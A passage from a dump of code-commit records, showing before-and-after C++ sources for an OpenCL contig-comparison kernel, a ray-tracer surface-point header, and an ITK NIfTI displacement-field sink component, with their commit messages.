buf_sizes (m_context, CL_MEM_READ_ONLY, sizeof(uint64_t)*nbContigs);\n\tm_commandqueue.enqueueWriteBuffer(buf_sizes, CL_TRUE, 0, sizeof(uint64_t)*nbContigs, &contigs_size[0]);\n\tm_kernel.setArg(2, buf_sizes);\n\n\t\t\/\/ultrasequence, get each contigs sequence and add it in ultrasequence\n\tchar* ultraSequence = new char[ultraSequenceSize];\n\tuint64_t i = 0;\n\tfor(uint64_t c=0; c < nbContigs; c++){\n\t\tstring seq = contigs.get_seqContig(c);\n\t\tfor(size_t j=0; j < seq.size(); j++){\n\t\t\t\tultraSequence[i] = seq[j];\n\t\t\t\ti++;\n\t\t}\n\t}\n\tcout << \"UltraSequence:\" << endl;\n\tcout << ultraSequence << endl;\n\n\tcl::Buffer buf_ultraseq (m_context, CL_MEM_READ_ONLY, sizeof(char)*ultraSequenceSize);\n\tm_commandqueue.enqueueWriteBuffer(buf_ultraseq, CL_TRUE, 0, sizeof(char)*ultraSequenceSize, ultraSequence);\n\tm_kernel.setArg(3, buf_ultraseq);\n\n\tdelete ultraSequence; \/\/Clean the memory\n\tultraSequence = nullptr;\n\n\t\t\/\/buffer for work items : they need 2 arrays for need2a and 2 array for each sequences. These arrays are of size of longuest contig.\n\t\t\/*\n\t\t\tEach work item need its own array (for each arrays) allocated on local.\n\t\t\tSo a local array (of a work group) contains all concatenated array of the work items of the same group.\n\t\t\tThis local array have a size of longuest_contig_size*work_group_size number of elements.\n\t\t*\/\n\n\t\/\/Run the kernel and wait the end\n\tm_commandqueue.enqueueNDRangeKernel(m_kernel,cl::NullRange, cl::NDRange(nbContigs, nbContigs), cl::NullRange, NULL, &ev);\n\tev.wait();\n\n\t\/\/Get the score matrix: get the buffer into a 1D array then convert de 2D vectors array\n\tchar* scores_1D = new char[nbContigs*nbContigs];\n\tm_commandqueue.enqueueReadBuffer(buf_scores, CL_TRUE, 0, scores_size, scores_1D);\n\tvector< vector > scores = vector< vector >(nbContigs, vector(nbContigs, 0));\n\tfor(size_t j=0; j platforms;\n\tcl::Platform::get(&platforms);\n\tif(!platforms.size()){\n\t\ttxt = \"No platform detected\";\n\t\toutput.write(txt);\n\t\treturn;\n\t}\n\ttxt = \"platform_id\\tplatform_name\\tplatform_profile\\tplatform_vendor\\tplatform_version\";\n\toutput.write(txt);\n\tfor(size_t i=0; i < platforms.size(); i++){\n\t\tcl::Platform& p = platforms[i];\n\t\ttxt = to_string(i);\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\t\/\/txt += \"\\t\" + p.getInfo();\n\t\toutput.write(txt);\n\t}\n\n\t\/\/Get devices\n\ttxt = \"\\n\\t[Devices list]\";\n\toutput.write(txt);\n\ttxt = \"platform_id\\tdevice_id\\tdevice_name\\tdevice_vendor\\tdevice_profile\\tdevice_version\\tdevice_globalmem\\tdevice_localmem\\tdevice_maxgroupsize\\tdriver_version\\topencl_c_version\";\n\toutput.write(txt);\n\tfor(size_t p = 0; p < platforms.size(); p++){\n\t\tvector devices;\n\t\tplatforms[p].getDevices(CL_DEVICE_TYPE_ALL, &devices);\n\t\tfor(size_t d = 0; d < devices.size(); d++){\n\t\t\tcl::Device& device = devices[d];\n\t\t\ttxt = to_string(p)+\"\\t\"+to_string(d);\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + to_string(device.getInfo())+\"B\";\n\t\t\ttxt += \"\\t\" + to_string(device.getInfo())+\"B\";\n\t\t\ttxt += \"\\t\" + to_string(device.getInfo());\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\toutput.write(txt);\n\t\t}\n\t}\n}\t\n\n\/*\nLes balises 'R\"CLCODE(' et ')CLCODE' (du type R\"NAME( ... )NAME\") servent à définir un\nstring litéral brut. C'est utile pour avoir un string sur plusieurs ligne, comme un code,\net cela évite d'avoir à ouvrir puis fermer les guillemets à chaque ligne.\n*\/\n\nstring WorkerCL::kernel_cmp_2_contigs = R\"CLCODE(\n\tkernel void cmp_2_contigs(global unsigned long *infos, global char *scores, global unsigned long *seqs_sizes, global char *ultraseq){\n\t\tint seq1_id = get_global_id(0);\n\t\tint seq2_id = get_global_id(1);\n\n\t\t\/\/Get the position of the seqs in the ultraseq\n\t\tunsigned long seq1_begin = 0;\n\t\tunsigned long seq2_begin = 0;\n\t\tunsigned long i=0;\n\t\twhile(i < seq1_id || i < seq2_id){\n\t\t\tif(i < seq1_id){seq1_begin += seqs_sizes[i];}\n\t\t\tif(i < seq2_id){seq2_begin += seqs_sizes[i];}\n\t\t\ti++;\n\t\t}\n\t\t\/\/Get the sizes and the end pos of the seqs\n\t\tunsigned long seq1_size = seqs_sizes[seq1_id];\n\t\tunsigned long seq2_size = seqs_sizes[seq2_id];\n\t\tunsigned long seq1_end= seq1_begin + seq1_size - 1;\n\t\tunsigned long seq2_end= seq2_begin + seq1_size - 1;\n\n\t\t\/\/Test if same seq : =1 else =0\n\t\tscores[seq1_id + infos[0]*seq2_id] = 0;\n\t\tif(seq1_size == seq2_size){\n\t\t\tbool same = true;\n\t\t\tfor(unsigned int i=0; i < seq1_size; i++){\n\t\t\t\tif(ultraseq[seq1_begin+i] != ultraseq[seq2_begin+i]){\n\t\t\t\t\tsame = false;\n\t\t\t\t\ti = seq1_size;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(same){scores[seq1_id+infos[0]*seq2_id]=1;}\n\t\t}\n\n\n\t}\n)CLCODE\";\nUse ptr to access the sequences (instead of copying them in private\/local). It's a test to the further implementation of local buffers manipulations#include \"workerCL.hpp\"\n\n\n#define __CL_DEFINE_EXCEPTIONS\n#include \n\n#include \n#include \n#include \n\n#include \"log.hpp\"\n#include \"reads.hpp\"\n\nusing namespace std;\n\nWorkerCL::WorkerCL(size_t platform_id, size_t device_id){\n\t\/* GPU environment preparation *\/\n\t\n\t\/\/Get platforms (drivers) list and keep the one to be use\n\tvector all_platforms;\n\tcl::Platform::get(&all_platforms);\n\tif(!all_platforms.size()){\n\t\t\/\/No platform ? Send error\n\t\tstring error = \"OPENCL: no platforms found.\";\n\t\tthrow(error);\n\t}\n\tm_platform = all_platforms[platform_id];\n\n\t\/\/Get devices list and keep the one to use\n\tvector devices;\n\tm_platform.getDevices(CL_DEVICE_TYPE_ALL, &devices);\n\tif(device_id >= devices.size()){\n\t\tstring error = \"OPENCL: no device of id \"+to_string(device_id)+\n\t\t\t\" on platform \"+to_string(platform_id)+\" (\"+to_string(devices.size())+\" devices)\";\n\t\tthrow(error);\n\t}\n\tm_device = devices[device_id];\n\n\t\/\/Create context\n\tm_context = cl::Context({m_device});\n\t\n\t\/\/initialize commands queue\n\tm_commandqueue = cl::CommandQueue(m_context, m_device);\n\n\t\/\/Build kernel sources\n\tm_program = cl::Program(m_context, kernel_cmp_2_contigs);\n\tif(m_program.build({m_device}) != CL_SUCCESS){\n\t\tstring error = \"Error building: \";\n\t\terror += m_program.getBuildInfo(m_device);\n\t\tthrow(error);\n\t}\n\t\n\n\t\/\/Make the kernel\n\tm_kernel = cl::Kernel(m_program, \"cmp_2_contigs\");\n\n}\n\nWorkerCL::~WorkerCL(){\n}\n\nvoid WorkerCL::run(const Contigs& contigs, size_t work_group_size){\n\t\/*\n\tCreate the string containing all contigs sequences\n\tand store the list of contigs size (in same orders)\n\tto be able to retrieve contigs. Size is store in\n\tan uint64_t (ulong) to be sure it is 64bits as cl_ulong\n\t*\/\n\n\t\/\/Get list of contigs size, the total length of the\n\t\/\/contigs concatenation and the longuest contig size\n\tuint64_t nbContigs = contigs.get_nbContigs();\n\tuint64_t ultraSequenceSize = 0;\n\tuint64_t longuest_contig_size = 0;\n\tvector contigs_size (nbContigs, 0);\n\tfor(uint64_t i=0; i < nbContigs; i++){\n\t\tcontigs_size[i] = contigs.get_sizeContig(i);\n\t\tultraSequenceSize += contigs_size[i];\n\t\tif(contigs_size[i] > longuest_contig_size){longuest_contig_size = contigs_size[i];}\n\t}\n\n\t\/\/Prepare GPU for the run\n\tcl::Event ev;\n\t\t\/\/infos buffer (64bits): number of contigs, size of the ultrasequence, size of longuest contig\n\t\t\/\/buffer only accepts non-dynamics arrays (even of size 1)\n\tuint64_t infos[3] = {nbContigs, ultraSequenceSize, longuest_contig_size};\n\tcl::Buffer buf_infos (m_context, CL_MEM_READ_ONLY, sizeof(uint64_t));\n\tm_commandqueue.enqueueWriteBuffer(buf_infos, CL_TRUE, 0, sizeof(uint64_t), &infos);\n\tm_kernel.setArg(0, buf_infos); \/\/update kernel\n\n\t\t\/\/Prepare the buffer for the results matrix (it will be 1D so an id of {x,y} is id=x+y*x_size)\n\t\t\/\/The size of the buffer = char * x_size * y_size. Note: x_size == y_size == nb_contigs\n\tunsigned int scores_size = sizeof(char)*nbContigs*nbContigs;\n\tcl::Buffer buf_scores (m_context, CL_MEM_WRITE_ONLY, scores_size);\n\tm_kernel.setArg(1, buf_scores);\n\n\t\t\/\/sequences sizes (array of 64bits) buffer\n\tcl::Buffer buf_sizes (m_context, CL_MEM_READ_ONLY, sizeof(uint64_t)*nbContigs);\n\tm_commandqueue.enqueueWriteBuffer(buf_sizes, CL_TRUE, 0, sizeof(uint64_t)*nbContigs, &contigs_size[0]);\n\tm_kernel.setArg(2, buf_sizes);\n\n\t\t\/\/ultrasequence, get each contigs sequence and add it in ultrasequence\n\tchar* ultraSequence = new char[ultraSequenceSize];\n\tuint64_t i = 0;\n\tfor(uint64_t c=0; c < nbContigs; c++){\n\t\tstring seq = contigs.get_seqContig(c);\n\t\tfor(size_t j=0; j < seq.size(); j++){\n\t\t\t\tultraSequence[i] = seq[j];\n\t\t\t\ti++;\n\t\t}\n\t}\n\tcout << \"UltraSequence:\" << endl;\n\tcout << ultraSequence << endl;\n\n\tcl::Buffer buf_ultraseq (m_context, CL_MEM_READ_ONLY, sizeof(char)*ultraSequenceSize);\n\tm_commandqueue.enqueueWriteBuffer(buf_ultraseq, CL_TRUE, 0, sizeof(char)*ultraSequenceSize, ultraSequence);\n\tm_kernel.setArg(3, buf_ultraseq);\n\n\tdelete ultraSequence; \/\/Clean the memory\n\tultraSequence = nullptr;\n\n\t\t\/\/buffer for work items : they need 2 arrays for need2a and 2 array for each sequences. These arrays are of size of longuest contig.\n\t\t\/*\n\t\t\tEach work item need its own array (for each arrays) allocated on local.\n\t\t\tSo a local array (of a work group) contains all concatenated array of the work items of the same group.\n\t\t\tThis local array have a size of longuest_contig_size*work_group_size number of elements.\n\t\t*\/\n\n\t\/\/Run the kernel and wait the end\n\tm_commandqueue.enqueueNDRangeKernel(m_kernel,cl::NullRange, cl::NDRange(nbContigs, nbContigs), cl::NullRange, NULL, &ev);\n\tev.wait();\n\n\t\/\/Get the score matrix: get the buffer into a 1D array then convert de 2D vectors array\n\tchar* scores_1D = new char[nbContigs*nbContigs];\n\tm_commandqueue.enqueueReadBuffer(buf_scores, CL_TRUE, 0, scores_size, scores_1D);\n\tvector< vector > scores = vector< vector >(nbContigs, vector(nbContigs, 0));\n\tfor(size_t j=0; j platforms;\n\tcl::Platform::get(&platforms);\n\tif(!platforms.size()){\n\t\ttxt = \"No platform detected\";\n\t\toutput.write(txt);\n\t\treturn;\n\t}\n\ttxt = \"platform_id\\tplatform_name\\tplatform_profile\\tplatform_vendor\\tplatform_version\";\n\toutput.write(txt);\n\tfor(size_t i=0; i < platforms.size(); i++){\n\t\tcl::Platform& p = platforms[i];\n\t\ttxt = to_string(i);\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\ttxt += \"\\t\" + p.getInfo();\n\t\t\/\/txt += \"\\t\" + p.getInfo();\n\t\toutput.write(txt);\n\t}\n\n\t\/\/Get devices\n\ttxt = \"\\n\\t[Devices list]\";\n\toutput.write(txt);\n\ttxt = \"platform_id\\tdevice_id\\tdevice_name\\tdevice_vendor\\tdevice_profile\\tdevice_version\\tdevice_globalmem\\tdevice_localmem\\tdevice_maxgroupsize\\tdriver_version\\topencl_c_version\";\n\toutput.write(txt);\n\tfor(size_t p = 0; p < platforms.size(); p++){\n\t\tvector devices;\n\t\tplatforms[p].getDevices(CL_DEVICE_TYPE_ALL, &devices);\n\t\tfor(size_t d = 0; d < devices.size(); d++){\n\t\t\tcl::Device& device = devices[d];\n\t\t\ttxt = to_string(p)+\"\\t\"+to_string(d);\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + to_string(device.getInfo())+\"B\";\n\t\t\ttxt += \"\\t\" + to_string(device.getInfo())+\"B\";\n\t\t\ttxt += \"\\t\" + to_string(device.getInfo());\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\ttxt += \"\\t\" + device.getInfo();\n\t\t\toutput.write(txt);\n\t\t}\n\t}\n}\t\n\n\/*\nLes balises 'R\"CLCODE(' et ')CLCODE' (du type R\"NAME( ... )NAME\") servent à définir un\nstring litéral brut. C'est utile pour avoir un string sur plusieurs ligne, comme un code,\net cela évite d'avoir à ouvrir puis fermer les guillemets à chaque ligne.\n*\/\n\nstring WorkerCL::kernel_cmp_2_contigs = R\"CLCODE(\n\tkernel void cmp_2_contigs(global unsigned long *infos, global char *scores, global unsigned long *seqs_sizes, global char *ultraseq){\n\t\tint seq1_id = get_global_id(0);\n\t\tint seq2_id = get_global_id(1);\n\n\t\t\/* Old way: basic memory. Work\n\t\t\/\/Get the position of the seqs in the ultraseq\n\t\tunsigned long seq1_begin = 0;\n\t\tunsigned long seq2_begin = 0;\n\t\tunsigned long i=0;\n\t\twhile(i < seq1_id || i < seq2_id){\n\t\t\tif(i < seq1_id){seq1_begin += seqs_sizes[i];}\n\t\t\tif(i < seq2_id){seq2_begin += seqs_sizes[i];}\n\t\t\ti++;\n\t\t}\n\n\t\t\/\/Get the sizes and the end pos of the seqs\n\t\tunsigned long seq1_size = seqs_sizes[seq1_id];\n\t\tunsigned long seq2_size = seqs_sizes[seq2_id];\n\t\tunsigned long seq1_end= seq1_begin + seq1_size - 1;\n\t\tunsigned long seq2_end= seq2_begin + seq1_size - 1;\n\n\t\t\/\/Test if same seq : =1 else =0\n\t\tscores[seq1_id + infos[0]*seq2_id] = 0;\n\t\tif(seq1_size == seq2_size){\n\t\t\tbool same = true;\n\t\t\tfor(unsigned int i=0; i < seq1_size; i++){\n\t\t\t\tif(ultraseq[seq1_begin+i] != ultraseq[seq2_begin+i]){\n\t\t\t\t\tsame = false;\n\t\t\t\t\ti = seq1_size;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(same){scores[seq1_id+infos[0]*seq2_id]=1;}\n\t\t}\n\t\t*\/\n\n\t\t\/\/Get the position of seqs and sizes\n\t\tglobal char* seq1_ptr = NULL;\n\t\tglobal char* seq2_ptr = NULL;\n\t\t\t\/\/Calculate the begin for each item (the for boucle is on all contigs (infos[0]) but it's stop before)\n\t\tunsigned long start = 0;\n\t\tfor(unsigned long i = 0; i < seq1_id; i++){start += seqs_sizes[i];}\n\t\tseq1_ptr = &ultraseq[start];\n\t\tstart = 0;\n\t\tfor(unsigned long i = 0; i < seq2_id; i++){start += seqs_sizes[i];}\n\t\tseq2_ptr = &ultraseq[start];\n\t\t\t\/\/get sizes\n\t\tunsigned long seq1_size = seqs_sizes[seq1_id];\n\t\tunsigned long seq2_size = seqs_sizes[seq2_id];\n\t\t\t\n\t\t\/\/Test: if same seq then =1 else =0\n\t\tscores[seq1_id + infos[0]*seq2_id] = 0;\n\t\tif(seq1_size == seq2_size){\n\t\t\tbool same=true;\n\t\t\tfor(unsigned int i=0; i < seq1_size; i++){\n\t\t\t\tif(seq1_ptr[i] != seq2_ptr[i]){\n\t\t\t\t\tsame = false;\n\t\t\t\t\ti = seq1_size;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(same){scores[seq1_id+infos[0]*seq2_id]=1;}\n\t\t}\n\n\t}\n)CLCODE\";\n<|endoftext|>"} {"text":"#pragma once\n#include \n\nnamespace haste {\n\nusing std::uint32_t;\n\nenum class entity_type : uint32_t {\n camera = 0,\n mesh = 1,\n light = 2,\n empty = 3\n};\n\ninline uint32_t encode_material(uint32_t material_id, entity_type type) {\n return material_id << 2 | uint32_t(type);\n}\n\ninline uint32_t decode_material(uint32_t material_id) {\n return material_id >> 2;\n}\n\ninline uint32_t pack_normal(vec3 n) {\n float x = clamp((n.x + 1.0f) * 0.5f, 0.f, 1.0f) * 65534.f;\n float y = clamp((n.y + 1.0f) * 0.5f, 0.f, 1.0f) * 32766.f;\n float z = n.z < 0.0f ? 0.0f : 1.0f;\n return uint32_t(x) << 16 | uint32_t(y) << 1 | uint32_t(z);\n}\n\ninline vec3 unpack_normal(uint32_t n) {\n float x = float(n >> 16) * 3.05185094e-05f - 1.0f;\n float y = float(n << 16 >> 17) * 6.10388817e-05f - 1.0f;\n float z = sqrt(1.0f - x * x - y * y) * (float(n & 1u) - 0.5f) * 2.0f;\n return vec3(x, y, z);\n}\n\nstruct SurfacePoint {\n vec3 _position;\n vec3 gnormal;\n mat3 _tangent;\n uint32_t material_id = UINT32_MAX;\n\n SurfacePoint() = default;\n\n SurfacePoint(const vec3& position, const vec3& normal, const vec3& tangent,\n uint32_t material_id) {\n _position = position;\n _tangent[0] = normalize(cross(normal, tangent));\n _tangent[1] = normal;\n _tangent[2] = tangent;\n material_id = material_id;\n }\n\n const vec3& position() const { return _position; }\n const vec3& normal() const { return _tangent[1]; }\n const vec3& tangent() const { return _tangent[2]; }\n const vec3& bitangent() const { return _tangent[0]; }\n const vec3 toWorld(const vec3& surface) const { return _tangent * surface; }\n const vec3 toSurface(const vec3& world) const { return world * _tangent; }\n\n uint32_t material_index() const { return material_id >> 2; }\n\n bool is_camera() const {\n return (material_id & 3u) == uint32_t(entity_type::camera);\n }\n bool is_mesh() const {\n return (material_id & 3u) == uint32_t(entity_type::mesh);\n }\n bool is_light() const {\n return (material_id & 3u) == uint32_t(entity_type::light);\n }\n bool is_present() const { return material_id != UINT32_MAX; }\n};\n\nstruct Edge {\n public:\n Edge(const SurfacePoint& fst, const SurfacePoint& snd, const vec3& omega) {\n distSqInv = 1.0f \/ distance2(fst.position(), snd.position());\n fCosTheta = abs(dot(omega, snd.normal()));\n bCosTheta = abs(dot(omega, fst.normal()));\n fGeometry = distSqInv * fCosTheta;\n bGeometry = distSqInv * bCosTheta;\n }\n\n float distSqInv;\n float fCosTheta;\n float bCosTheta;\n float fGeometry;\n float bGeometry;\n};\n}\nRemove dead code from SurfacePoint.#pragma once\n#include \n\nnamespace haste {\n\nusing std::uint32_t;\n\nenum class entity_type : uint32_t {\n camera = 0,\n mesh = 1,\n light = 2,\n empty = 3\n};\n\ninline uint32_t encode_material(uint32_t material_id, entity_type type) {\n return material_id << 2 | uint32_t(type);\n}\n\ninline uint32_t decode_material(uint32_t material_id) {\n return material_id >> 2;\n}\n\ninline uint32_t pack_normal(vec3 n) {\n float x = clamp((n.x + 1.0f) * 0.5f, 0.f, 1.0f) * 65534.f;\n float y = clamp((n.y + 1.0f) * 0.5f, 0.f, 1.0f) * 32766.f;\n float z = n.z < 0.0f ? 0.0f : 1.0f;\n return uint32_t(x) << 16 | uint32_t(y) << 1 | uint32_t(z);\n}\n\ninline vec3 unpack_normal(uint32_t n) {\n float x = float(n >> 16) * 3.05185094e-05f - 1.0f;\n float y = float(n << 16 >> 17) * 6.10388817e-05f - 1.0f;\n float z = sqrt(1.0f - x * x - y * y) * (float(n & 1u) - 0.5f) * 2.0f;\n return vec3(x, y, z);\n}\n\nstruct SurfacePoint {\n vec3 _position;\n vec3 gnormal;\n mat3 _tangent;\n uint32_t material_id = UINT32_MAX;\n\n SurfacePoint() = default;\n\n const vec3& position() const { return _position; }\n const vec3& normal() const { return _tangent[1]; }\n const vec3& tangent() const { return _tangent[2]; }\n const vec3& bitangent() const { return _tangent[0]; }\n const vec3 toWorld(const vec3& surface) const { return _tangent * surface; }\n const vec3 toSurface(const vec3& world) const { return world * _tangent; }\n\n uint32_t material_index() const { return material_id >> 2; }\n\n bool is_camera() const {\n return (material_id & 3u) == uint32_t(entity_type::camera);\n }\n bool is_mesh() const {\n return (material_id & 3u) == uint32_t(entity_type::mesh);\n }\n bool is_light() const {\n return (material_id & 3u) == uint32_t(entity_type::light);\n }\n bool is_present() const { return material_id != UINT32_MAX; }\n};\n\nstruct Edge {\n public:\n Edge(const SurfacePoint& fst, const SurfacePoint& snd, const vec3& omega) {\n distSqInv = 1.0f \/ distance2(fst.position(), snd.position());\n fCosTheta = abs(dot(omega, snd.normal()));\n bCosTheta = abs(dot(omega, fst.normal()));\n fGeometry = distSqInv * fCosTheta;\n bGeometry = distSqInv * bCosTheta;\n }\n\n float distSqInv;\n float fCosTheta;\n float bCosTheta;\n float fGeometry;\n float bGeometry;\n};\n}\n<|endoftext|>"} {"text":"\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxDisplacementFieldNiftiToItkImageSinkComponent.h\"\n#include \"selxCheckTemplateProperties.h\"\n\nnamespace selx\n{\ntemplate< int Dimensionality, class TPixel >\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::DisplacementFieldNiftiToItkImageSinkComponent( const std::string & name, LoggerImpl & logger ) : \n Superclass( name, logger ), m_NetworkBuilderOutputImage( nullptr ), m_DisplacementFieldInterface( nullptr ), m_ImageDomainInterface( nullptr )\n{\n m_MiniPipelineOutputImage = ItkDisplacementFieldType::New(); \/\/ this is just an empty image for we have a SmartPointer we can pass around downstream. The actual image data will be grafted into this image.\n m_ImportFilter = ImportFilterType::New();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::~DisplacementFieldNiftiToItkImageSinkComponent()\n{\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nint\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::Accept( typename NiftiDisplacementFieldInterfaceType::Pointer other )\n{\n \/\/ Store pointer to the m_WarpedImageInterface for getting the result image after in has been generated (registration).\n \/\/ TODO: sanity check that m_WarpedImageInterface was Null to detect if Set was called more than once erroneously.\n this->m_DisplacementFieldInterface = other;\n return 0;\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nint\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::Accept( typename ItkImageDomainInterfaceType::Pointer other )\n{\n \/\/ Store pointer to the m_ImageDomainInterface for getting the result image after in has been generated (registration).\n \/\/ TODO: sanity check that m_ImageDomainInterface was Null to detect if Set was called more than once erroneously.\n m_MiniPipelineOutputImage->SetRegions( other->GetItkImageDomainFixed()->GetLargestPossibleRegion() );\n \/\/this->m_ImageDomainInterface = other;\n return 0;\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::SetMiniPipelineOutput( itk::DataObject::Pointer NetworkBuilderOutput )\n{\n \/** Tries to cast the NetworkBuilderOutput to an image (data object) and stores the result.\n * The resulting output image will be grafted into when the sink component is connected to an other component.\n * *\/\n \/\/\n \/*\n this->m_NetworkBuilderOutputImage = dynamic_cast< ItkImageType * >(NetworkBuilderOutput.GetPointer());\n if (this->m_NetworkBuilderOutputImage == nullptr)\n {\n throw std::runtime_error(\"DisplacementFieldNiftiToItkImageSinkComponent cannot cast the NetworkBuilder's Output to the required type\");\n }\n this->m_MiniPipelineOutputImage = this->m_NetworkBuilderOutputImage;\n *\/\n}\n\n\ntemplate< int Dimensionality, class TPixel >\ntypename itk::DataObject::Pointer\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::GetMiniPipelineOutput()\n{\n return this->m_MiniPipelineOutputImage.GetPointer();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\ntypename AnyFileWriter::Pointer\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::GetOutputFileWriter()\n{\n \/\/ Instanstiate an image file writer, decorated such that it can be implicitly cast to an AnyFileWriterType\n return DecoratedWriterType::New().GetPointer();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\ntypename itk::DataObject::Pointer\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::GetInitializedOutput()\n{\n return ItkDisplacementFieldType::New().GetPointer();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::Update()\n{\n auto displacementFieldNiftiImage = this->m_DisplacementFieldInterface->GetDisplacementFieldNiftiImage();\n displacementFieldNiftiImage->scl_slope = -1;\n \/\/auto region = m_MiniPipelineOutputImage->GetOutput()->GetRegion();\n \/\/ auto other->GetItkImageDomainFixed()->GetLargestPossibleRegion()\n \/*float *dispPtrX = static_cast(displacementFieldNiftiImage->data);\n float *dispPtrY = static_cast(&dispPtrX[displacementFieldNiftiImage->nvox]);\n float *dispPtrZ = static_cast(&dispPtrY[displacementFieldNiftiImage->nvox]);\n for (int v = 0; v < displacementFieldNiftiImage->nvox; v++) {\n\t dispPtrX[v] *= -1.f;\n\t dispPtrY[v] *= -1.f;\n }\n *\/\n auto displacementFieldItkImage = NiftiToItkImage< ItkDisplacementFieldType, TPixel >::Convert( displacementFieldNiftiImage );\n \/\/auto displacementFieldItkImage = NiftiToItkImage< itk::Image< TPixel, Dimensionality >, TPixel >::Convert(displacementFieldNiftiImage);\n this->m_MiniPipelineOutputImage->Graft( displacementFieldItkImage );\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nbool\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::MeetsCriterion( const ComponentBase::CriterionType & criterion )\n{\n bool hasUndefinedCriteria( false );\n bool meetsCriteria( false );\n auto status = CheckTemplateProperties( this->TemplateProperties(), criterion );\n if( status == CriterionStatus::Satisfied )\n {\n return true;\n }\n else if( status == CriterionStatus::Failed )\n {\n return false;\n } \/\/ else: CriterionStatus::Unknown\n\n return meetsCriteria;\n}\n} \/\/end namespace selx\nDOC: small comment on niftyreg displacement fields\/*=========================================================================\n *\n * Copyright Leiden University Medical Center, Erasmus University Medical\n * Center and contributors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include \"selxDisplacementFieldNiftiToItkImageSinkComponent.h\"\n#include \"selxCheckTemplateProperties.h\"\n\nnamespace selx\n{\ntemplate< int Dimensionality, class TPixel >\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::DisplacementFieldNiftiToItkImageSinkComponent( const std::string & name, LoggerImpl & logger ) : \n Superclass( name, logger ), m_NetworkBuilderOutputImage( nullptr ), m_DisplacementFieldInterface( nullptr ), m_ImageDomainInterface( nullptr )\n{\n m_MiniPipelineOutputImage = ItkDisplacementFieldType::New(); \/\/ this is just an empty image for we have a SmartPointer we can pass around downstream. The actual image data will be grafted into this image.\n m_ImportFilter = ImportFilterType::New();\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::~DisplacementFieldNiftiToItkImageSinkComponent()\n{\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nint\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::Accept( typename NiftiDisplacementFieldInterfaceType::Pointer other )\n{\n \/\/ Store pointer to the m_WarpedImageInterface for getting the result image after in has been generated (registration).\n \/\/ TODO: sanity check that m_WarpedImageInterface was Null to detect if Set was called more than once erroneously.\n this->m_DisplacementFieldInterface = other;\n return 0;\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nint\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::Accept( typename ItkImageDomainInterfaceType::Pointer other )\n{\n \/\/ Store pointer to the m_ImageDomainInterface for getting the result image after in has been generated (registration).\n \/\/ TODO: sanity check that m_ImageDomainInterface was Null to detect if Set was called more than once erroneously.\n m_MiniPipelineOutputImage->SetRegions( other->GetItkImageDomainFixed()->GetLargestPossibleRegion() );\n \/\/this->m_ImageDomainInterface = other;\n return 0;\n}\n\n\ntemplate< int Dimensionality, class TPixel >\nvoid\nDisplacementFieldNiftiToItkImageSinkComponent< Dimensionality, TPixel >::SetMiniPipelineOutput( itk::DataObject::Pointer NetworkBuilderOutput )\n{\n \/** Tries to cast the 